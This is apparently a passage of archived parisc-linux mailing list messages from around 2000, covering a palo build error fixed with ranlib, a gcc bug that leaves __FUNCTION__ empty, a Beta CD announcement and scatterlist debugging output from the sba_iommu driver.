    * I have down loaded the latest prebuilt cross-compiler  and untared it 
the a directory by name DEST
    * I have downloaded the Latest linux  and palo files from the cvs. the 
after uncompresing them I run the following command from the ~/linux directory
    * Changed the line in Palo/Makefile  for my system IP Address
    * exported PATH=$DEST/bin:$PATH
    * the cd ~/linux
    * make oldconfig
    * make dep
    * make clean
    * make palo
If so the I am getting the following error after running make palo
cd palo && make
make[2]: Entering directory `/cvs/palo/palo'
make[2]: Nothing to be done for `all'.
make[2]: Leaving directory `/cvs/palo/palo'
cd ipl && make
make[2]: Entering directory `/cvs/palo/ipl'
echo "char *bld_info = \"`whoami`@`hostname` `date`\";" > build.c
hppa-linux-gcc -I. -I../lib -I../include -O2 -fwritable-strings 
-mdisable-fpregs -Wall -c -o build.o build.c
rm -f build.c
hppa-linux-ld -N --Ttext 0x500000 -e '$START$' -o iplelf crt0.o ipl.a 
build.o `hppa-linux-gcc -print-libgcc-file-name`
ipl.a: could not read symbols: Archive has no index; run ranlib to add one
make[2]: *** [iplelf] Error 1
make[2]: Leaving directory `/cvs/palo/ipl'
make[1]: *** [makeipl] Error 2
make[1]: Leaving directory `/cvs/palo'
make: *** [palo] Error 2

--=====================_23220339==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>

<ul>
<li>I have down loaded the latest prebuilt cross-compiler&nbsp; and
untared it the a directory by name DEST
<li>I have downloaded the Latest linux&nbsp; and palo files from the cvs.
the after uncompresing them I run the following command from the ~/linux
directory
<li>Changed the line in Palo/Makefile&nbsp; for my system IP Address
<li>exported PATH=$DEST/bin:$PATH
<li>the cd ~/linux
<li>make oldconfig
<li>make dep
<li>make clean
<li>make palo
</ul>If so the I am getting the following error after running make
palo<br>
cd palo &amp;&amp; make<br>
make[2]: Entering directory `/cvs/palo/palo'<br>
make[2]: Nothing to be done for `all'.<br>
make[2]: Leaving directory `/cvs/palo/palo'<br>
cd ipl &amp;&amp; make<br>
make[2]: Entering directory `/cvs/palo/ipl'<br>
echo &quot;char *bld_info = \&quot;`whoami`@`hostname`
`date`\&quot;;&quot; &gt; build.c<br>
hppa-linux-gcc -I. -I../lib -I../include -O2 -fwritable-strings
-mdisable-fpregs -Wall -c -o build.o build.c<br>
rm -f build.c<br>
hppa-linux-ld -N --Ttext 0x500000 -e '$START$' -o iplelf crt0.o ipl.a
build.o `hppa-linux-gcc -print-libgcc-file-name`<br>
ipl.a: could not read symbols: Archive has no index; run ranlib to add
one<br>
make[2]: *** [iplelf] Error 1<br>
make[2]: Leaving directory `/cvs/palo/ipl'<br>
make[1]: *** [makeipl] Error 2<br>
make[1]: Leaving directory `/cvs/palo'<br>
make: *** [palo] Error 2<br>
</html>

--=====================_23220339==_.ALT--


From - Thu Nov 08 21:13:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Make palo problem
Date: Thu, 26 Oct 2000 19:11:18 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20001027011118.1CA6138137@carmen.fc.hp.com>
References: <5.0.0.25.0.20001026163140.00aed760@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619222 5136 80.91.229.3 (22 Nov 2014 01:20:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Kailashnath V Rampure <kailasr@webcash.com>
Original-X-From: taggart@carmen.fc.hp.com  Thu Oct 26 19:08:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA07657
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 19:08:19 -0600
Original-Received: (qmail 12971 invoked by uid 15267); 27 Oct 2000 01:09:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12955 invoked from network); 27 Oct 2000 01:09:52 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 01:09:52 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id BF388A6D; Thu, 26 Oct 2000 21:09:51 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 1CA6138137; Thu, 26 Oct 2000 19:11:18 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
In-Reply-To: Message from Kailashnath V Rampure <kailasr@webcash.com> 
   of "Thu, 26 Oct 2000 17:58:03 PDT." <5.0.0.25.0.20001026163140.00aed760@mail.webcash.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8237


Kailashnath V Rampure writes...

>     * I have down loaded the latest prebuilt cross-compiler  and untared it 
> the a directory by name DEST

For that tarball, you need to untar in / which will put the compiler tree in 
/opt/palinux. If it's not there the compiler will not be able to find it's 
resources. Is that what you did?

I will update the web page to make this more clear.

HTH,

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Make palo problem
Date: Fri, 27 Oct 2000 03:17:37 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <00102703173703.00370@P100>
References: <5.0.0.25.0.20001026163140.00aed760@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619222 5141 80.91.229.3 (22 Nov 2014 01:20:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Kailashnath V Rampure <kailasr@webcash.com>, taggart@carmen.fc.hp.com
Original-X-From: deller@gmx.de  Thu Oct 26 19:16:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA08399
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 19:16:10 -0600
Original-Received: (qmail 20764 invoked by uid 15267); 27 Oct 2000 01:17:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20752 invoked from network); 27 Oct 2000 01:17:43 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 01:17:43 -0000
Original-Received: (qmail 29470 invoked by uid 0); 27 Oct 2000 01:17:16 -0000
Original-Received: from r1224.str.dial.surf-callino.de (HELO P100) (213.21.14.208)
  by mail.gmx.net with SMTP; 27 Oct 2000 01:17:16 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <5.0.0.25.0.20001026163140.00aed760@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8238

On Friday 27 October 2000 02:58, Kailashnath V Rampure wrote:

> > 
>     * I have down loaded the latest prebuilt cross-compiler  and untared it 
> the a directory by name DEST
>     * I have downloaded the Latest linux  and palo files from the cvs. the 
> after uncompresing them I run the following command from the ~/linux 
directory
>     * Changed the line in Palo/Makefile  for my system IP Address
>     * exported PATH=$DEST/bin:$PATH
>     * the cd ~/linux
>     * make oldconfig
>     * make dep
>     * make clean
>     * make palo
> If so the I am getting the following error after running make palo
> cd palo && make
> make[2]: Entering directory `/cvs/palo/palo'
> make[2]: Nothing to be done for `all'.
> make[2]: Leaving directory `/cvs/palo/palo'
> cd ipl && make
> make[2]: Entering directory `/cvs/palo/ipl'
> echo "char *bld_info = \"`whoami`@`hostname` `date`\";" > build.c
> hppa-linux-gcc -I. -I../lib -I../include -O2 -fwritable-strings 
> -mdisable-fpregs -Wall -c -o build.o build.c
> rm -f build.c
> hppa-linux-ld -N --Ttext 0x500000 -e '$START$' -o iplelf crt0.o ipl.a 
> build.o `hppa-linux-gcc -print-libgcc-file-name`
> ipl.a: could not read symbols: Archive has no index; run ranlib to add one
> make[2]: *** [iplelf] Error 1
> make[2]: Leaving directory `/cvs/palo/ipl'
> make[1]: *** [makeipl] Error 2
> make[1]: Leaving directory `/cvs/palo'
> make: *** [palo] Error 2
> 

you need to go to /palo/ipl and do  "hppa-linux-ranlib ipl.a". Then go back 
to /linux and do a "make palo" again.

This is a common problem, in which I also run every time if /palo changes. 
Matt/Paul: can't we fix this in the Makefile ?

Helge.


From - Thu Nov 08 21:13:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Make palo problem
Date: Thu, 26 Oct 2000 19:28:41 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <m13oyK8-001Vp3C@chalet>
References: <00102703173703.00370@P100>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619222 5147 80.91.229.3 (22 Nov 2014 01:20:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:22 +0000 (UTC)
Cc: kailasr@webcash.com, parisc-linux@thepuffingroup.com
To: Helge Deller <deller@gmx.de>
Original-X-From: bame@bame.riverrock.org  Thu Oct 26 19:29:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA08987
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 19:29:16 -0600
Original-Received: (qmail 1273 invoked by uid 15267); 27 Oct 2000 01:30:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1212 invoked from network); 27 Oct 2000 01:30:46 -0000
Original-Received: from unknown (HELO chalet) (199.254.238.240)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 01:30:46 -0000
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m13oyK8-001Vp3C@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@thepuffingroup.com>; Thu, 26 Oct 2000 19:28:48 -0600 (MDT) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Fri, 27 Oct 2000 03:17:37 +0200."
             <00102703173703.00370@P100>
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:8239

= > ipl.a: could not read symbols: Archive has no index; run ranlib to add one
= > make[2]: *** [iplelf] Error 1
= > make[2]: Leaving directory `/cvs/palo/ipl'
= > make[1]: *** [makeipl] Error 2
= > make[1]: Leaving directory `/cvs/palo'
= > make: *** [palo] Error 2
= > 
= 
= you need to go to /palo/ipl and do  "hppa-linux-ranlib ipl.a". Then go back 
= to /linux and do a "make palo" again.
= 
= This is a common problem, in which I also run every time if /palo changes. 
= Matt/Paul: can't we fix this in the Makefile ?

I changed ipl/Makefile to use hppa-linux-ar rather than ar.  No
ranlib is required in this case.

Prior to this the native host's ar was being used.  Mine 
(GNU ar 2.9.5) has always
worked without need of an extra ranlib step but I guess that's not
true for everyone.  People using 'ar' which requires a following ranlib
should probably insert a ranlib line into palo/palo/Makefile after
the 'ar' there.  Just how likely is it to find this type of ar on
Linux these days?

	-P


From - Thu Nov 08 21:13:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] __FUNCTION__ revisited
Date: Sat, 28 Oct 2000 01:26:02 +1100 (EST)
Lines: 42
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010280103510.20748-100000@front.linuxcare.com.au>
References: <200010261954.MAA22459@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619223 5152 80.91.229.3 (22 Nov 2014 01:20:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:23 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, Drepper@milano.cup.hp.com,
        Ulrich@milano.cup.hp.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: alan@linuxcare.com.au  Fri Oct 27 08:30:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA24566
	for <parisc-linux@puffin.external.hp.com>; Fri, 27 Oct 2000 08:30:19 -0600
Original-Received: (qmail 10758 invoked by uid 15267); 27 Oct 2000 14:31:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10685 invoked from network); 27 Oct 2000 14:31:51 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 14:31:51 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id BAA22587;
	Sat, 28 Oct 2000 01:26:02 +1100
In-Reply-To: <200010261954.MAA22459@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8240

On Thu, 26 Oct 2000, Grant Grundler wrote:

> 	DBG_RUN_SG("%s() DONE %d mappings\n", __FUNCTION__, n_mappings);
> 
> The output I get looks like "() DONE 16 mappings".
> No complaints from compiler or linker.

Here's a weird datapoint.

cat > xxx.c <<EOF
#include <stdio.h>

#define DEBUG_SBA_RUN_SG

#ifdef DEBUG_SBA_RUN_SG
#define DBG_RUN_SG(x...)       printf(x)
#else
#define DBG_RUN_SG(x...)
#endif


int foo (int i)
{
  DBG_RUN_SG("%s() DONE %d mappings\n", __FUNCTION__, i);
  return i;
}

int main (void)
{
  return foo (0);
}
EOF
hppa-linux-gcc -S -O2 -o xxx.s xxx.c

shows that __FUNCTION__ is being translated as an empty string.  The
really weird bit is that if you remove "#include <stdio.h>", everything is
OK!

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] __FUNCTION__ revisited
Date: Sat, 28 Oct 2000 01:46:55 +1100 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010280140190.20748-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0010280103510.20748-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619223 5153 80.91.229.3 (22 Nov 2014 01:20:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:23 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, Drepper@milano.cup.hp.com,
        Ulrich@milano.cup.hp.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: alan@linuxcare.com.au  Fri Oct 27 08:45:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA25164
	for <parisc-linux@puffin.external.hp.com>; Fri, 27 Oct 2000 08:45:27 -0600
Original-Received: (qmail 31145 invoked by uid 15267); 27 Oct 2000 14:47:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31111 invoked from network); 27 Oct 2000 14:47:01 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 14:47:01 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id BAA22941;
	Sat, 28 Oct 2000 01:46:55 +1100
In-Reply-To: <Pine.LNX.4.21.0010280103510.20748-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:8241

On Sat, 28 Oct 2000, Alan Modra wrote:

> shows that __FUNCTION__ is being translated as an empty string.  The
> really weird bit is that if you remove "#include <stdio.h>", everything is
> OK!

Seems to be related to the swag of __inline functions you get from
bits/stdio.h.  Editting a .i to remove them cures the problem.  Gack, yet
another compiler bug - in yesterday's hppa64-hpux CVS gcc from sourceware
too.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Beta CD
Date: Fri, 27 Oct 2000 16:21:36 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <20001027162136.C859@achilles.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-md5;
	protocol="application/pgp-signature"; boundary="TiqCXmo5T1hvSQQg"
X-Trace: ger.gmane.org 1416619223 5162 80.91.229.3 (22 Nov 2014 01:20:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pjlahaie@linuxcare.com  Fri Oct 27 14:18:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA27599
	for <parisc-linux@puffin.external.hp.com>; Fri, 27 Oct 2000 14:18:53 -0600
Original-Received: (qmail 13754 invoked by uid 15267); 27 Oct 2000 20:20:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13668 invoked from network); 27 Oct 2000 20:20:19 -0000
Original-Received: from ottawa.linuxcare.com (HELO elenuial.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 20:20:19 -0000
Original-Received: (from pjlahaie@localhost)
	by elenuial.thepuffingroup.com (8.9.3/8.9.3) id QAA10681
	for parisc-linux@thepuffingroup.com; Fri, 27 Oct 2000 16:21:36 -0400
Content-Disposition: inline
User-Agent: Mutt/1.2i
Xref: news.gmane.org gmane.linux.ports.parisc:8242


--TiqCXmo5T1hvSQQg
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello everyone,

I am in the process of creating a new Beta CD for Linux on PA-RISC.
Currently the CD will include the following:

All the latest Debian packages
Slightly modified Debian base as / (this is because standard debian
  expects r/w root environment)
Cross-compiling tools for x86
READMEs, etc.. to help bootstrap Linux on a PARISC system.

If there is anything you think should be on it, please send me some
suggestions.  I can't promise they'll all make it, but I'll see what
can be done.

						- Paul

PS:  This will be an online ISO image release only.

--TiqCXmo5T1hvSQQg
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.1 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE5+ePQ8ggPQthPCzcRAvJxAJ9enkghZtCzKml2zkw8QdZl0w59zgCaA4TT
N39r6R0MPw/wd9FIr4XaKCA=
=Zi8m
-----END PGP SIGNATURE-----

--TiqCXmo5T1hvSQQg--


From - Thu Nov 08 21:13:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christopher Beard <cjbeard@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building the Bootstrap Code
Date: Sat, 17 Apr 1999 23:31:05 +0000 (   )
Lines: 7
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9904172330180.27696-100000@sprite.osfi-bsif.gc.ca>
References: <Pine.LNX.4.10.9904172300080.27578-100000@sprite.osfi-bsif.gc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619224 5168 80.91.229.3 (22 Nov 2014 01:20:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:24 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: cjbeard@thepuffingroup.com  Sat Apr 17 19:28:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id TAA09039
	for <parisc-linux@sod.res.cmu.edu>; Sat, 17 Apr 1999 19:28:55 -0400
Original-Received: (qmail 14630 invoked by uid 15267); 17 Apr 1999 23:27:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14622 invoked from network); 17 Apr 1999 23:27:44 -0000
Original-Received: from hse-ott-ppp31326.sympatico.ca (HELO hobbit) (209.226.116.235)
  by mailserv2.iuinc.com with SMTP; 17 Apr 1999 23:27:44 -0000
X-Sender: cjbeard@sprite.osfi-bsif.gc.ca
In-Reply-To: <Pine.LNX.4.10.9904172300080.27578-100000@sprite.osfi-bsif.gc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:8243


>   cat hdr pad_file ipl vmlinux > bootstrap.bin

``pad_file'' is a sparse file of zeroes that is 3072 bytes in length.

- Chris


From - Thu Nov 08 21:13:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] scatterlist (de-)construction
Date: Fri, 27 Oct 2000 13:37:34 -0700 (PDT)
Lines: 155
Approved: news@gmane.org
Message-ID: <200010272037.NAA23925@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619224 5171 80.91.229.3 (22 Nov 2014 01:20:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:24 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: davem@redhat.com
Original-X-From: grundler@cup.hp.com  Fri Oct 27 14:32:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA28188
	for <parisc-linux@puffin.external.hp.com>; Fri, 27 Oct 2000 14:32:19 -0600
Original-Received: (qmail 29994 invoked by uid 15267); 27 Oct 2000 20:32:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29972 invoked from network); 27 Oct 2000 20:32:53 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 20:32:53 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id D81257D1; Fri, 27 Oct 2000 13:32:48 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id NAA23925;
	Fri, 27 Oct 2000 13:37:34 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8244

Dave,
The sg_list's I'm seeing for a simple "dd .. bs=64K" aren't
assembled very nicely. I have two issues with scatterlists:

o why are list entries in 1K sizes instead of NBPG sizes?

o Why are "blocks" *within* the same kernel page "badly" ordered?

I have to confess I have only spent an hour or so reviewing code
and documents for scatter-gather. I'm doing more but thought you
might off-hand know where to look. If these are architecture defined
behaviors, I can fix those.

I've been trying to implement sane/simple coalescing code for one
of the parisc-linux I/O MMU's (sba_iommu.c) and finding the input
scatterlist I have to work with sucks. I've appended the console
output with my debugging info. The algorithm currently attempts
to prepend or append adjacent entries in the scatterlist.
It would be nice if we only had to check the append case.
(Ref http://puffin.external.hp.com/cvs/linux/arch/parisc/kernel/sba_iommu.c)

FYI, parisc-linux is currently based on 2.4.0-test6.
The plan is to merge to something more recent after we cut
a "stable" version in the next week or two. I mention this
in case any work was done since -test6 was posted.

thanks,
grant

ps. I'm also ok with this getting forwarded to l-k though
    I'm not subscribed.

[ notes:
  xx,xx		address,length pair
  xx,xx+yy,yy	checking "current" chunk (xx) + "current" sglist entry (yy)
 (xx,xx)	addr,len "chunk" parameters passed to sba_map_single()
		when algorithm can't safely either prepend or append the
		"current" scatterlist element to the "chunk".

__FUNCTION__ is *broken* for our toolchain and it look like a
generic gcc bug in the current gcc developement tree.  The "()"
are supposed to have function names in front of them.
Magic decoder:
() START 64 entries	sba_map_sg() entry poiny
() DONE 17 mappings	sba_map_sg() exit
() START 64 entries,  dfd7a800,400	sba_unmap_sg() entry w/first pair
() DONE (nents 47)	sba_unmap_sg() exit (after unmapping 17 entries)
]

gggC3000:~# dd if=/dev/sda1 of=/dev/null bs=64k count=5
() START 64 entries
 dfd7a800,400+dfd7ac00,400 dfd7a800,800+dfd7a000,400 (dfd7a800, 800)
 dfd7a000,400+dfd7a400,400 dfd7a000,800+df6ba000,400 (dfd7a000, 800)
 df6ba000,400+df6ba400,400 df6ba000,800+df6ba800,400 df6ba000,c00+df6bac00,400 df6ba000,1000+df6b9000,400 (df6ba000, 1000)
 df6b9000,400+df6b9400,400 df6b9000,800+df6b9800,400 df6b9000,c00+df6b9c00,400 df6b9000,1000+df6b8000,400 (df6b9000, 1000)
 df6b8000,400+df6b8400,400 df6b8000,800+df6b8800,400 df6b8000,c00+df6b8c00,400 df6b8000,1000+df6b7000,400 (df6b8000, 1000)
 df6b7000,400+df6b7400,400 df6b7000,800+df6b7800,400 df6b7000,c00+df6b7c00,400 df6b7000,1000+df6b6000,400 (df6b7000, 1000)
 df6b6000,400+df6b6400,400 df6b6000,800+df6b6800,400 df6b6000,c00+df6b6c00,400 df6b6000,1000+df6b5000,400 (df6b6000, 1000)
 df6b5000,400+df6b5400,400 df6b5000,800+df6b5800,400 df6b5000,c00+df6b5c00,400 df6b5000,1000+df6b4000,400 (df6b5000, 1000)
 df6b4000,400+df6b4400,400 df6b4000,800+df6b4800,400 df6b4000,c00+df6b4c00,400 df6b4000,1000+df6b3000,400 (df6b4000, 1000)
 df6b3000,400+df6b3400,400 df6b3000,800+df6b3800,400 df6b3000,c00+df6b3c00,400 df6b3000,1000+df6b2000,400 (df6b3000, 1000)
 df6b2000,400+df6b2400,400 df6b2000,800+df6b2800,400 df6b2000,c00+df6b2c00,400 df6b2000,1000+df6b1000,400 (df6b2000, 1000)
 df6b1000,400+df6b1400,400 df6b1000,800+df6b1800,400 df6b1000,c00+df6b1c00,400 df6b1000,1000+df6af000,400 (df6b1000, 1000)
 df6af000,400+df6af400,400 df6af000,800+df6af800,400 df6af000,c00+df6afc00,400 df6af000,1000+df6ae000,400 (df6af000, 1000)
 df6ae000,400+df6ae400,400 df6ae000,800+df6ae800,400 df6ae000,c00+df6aec00,400 df6ae000,1000+df6ad000,400 (df6ae000, 1000)
 df6ad000,400+df6ad400,400 df6ad000,800+df6ad800,400 df6ad000,c00+df6adc00,400 df6ad000,1000+df6ac000,400 (df6ad000, 1000)
 df6ac000,400+df6ac400,400 df6ac000,800+df6ac800,400 df6ac000,c00+df6acc00,400 df6ac000,1000+df6ab000,400 (df6ac000, 1000)
 df6ab000,400+df6ab400,400 df6ab000,800+df6ab800,400 df6ab000,c00+df6abc00,400 (0xdf6ab000,1000)
() DONE 17 mappings
() START 64 entries,  dfd7a800,400
() DONE (nents 47)
() START 64 entries
 df69a000,400+df69a400,400 df69a000,800+df69a800,400 df69a000,c00+df69ac00,400 df69a000,1000+df699000,400 (df69a000, 1000)
 df699000,400+df699400,400 df699000,800+df699800,400 df699000,c00+df699c00,400 df699000,1000+df698000,400 (df699000, 1000)
 df698000,400+df698400,400 df698000,800+df698800,400 df698000,c00+df698c00,400 df698000,1000+df697000,400 (df698000, 1000)
 df697000,400+df697400,400 df697000,800+df697800,400 df697000,c00+df697c00,400 df697000,1000+df696000,400 (df697000, 1000)
 df696000,400+df696400,400 df696000,800+df696800,400 df696000,c00+df696c00,400 df696000,1000+df694000,400 (df696000, 1000)
 df694000,400+df694400,400 df694000,800+df694800,400 df694000,c00+df694c00,400 df694000,1000+df693000,400 (df694000, 1000)
 df693000,400+df693400,400 df693000,800+df693800,400 df693000,c00+df693c00,400 df693000,1000+df692000,400 (df693000, 1000)
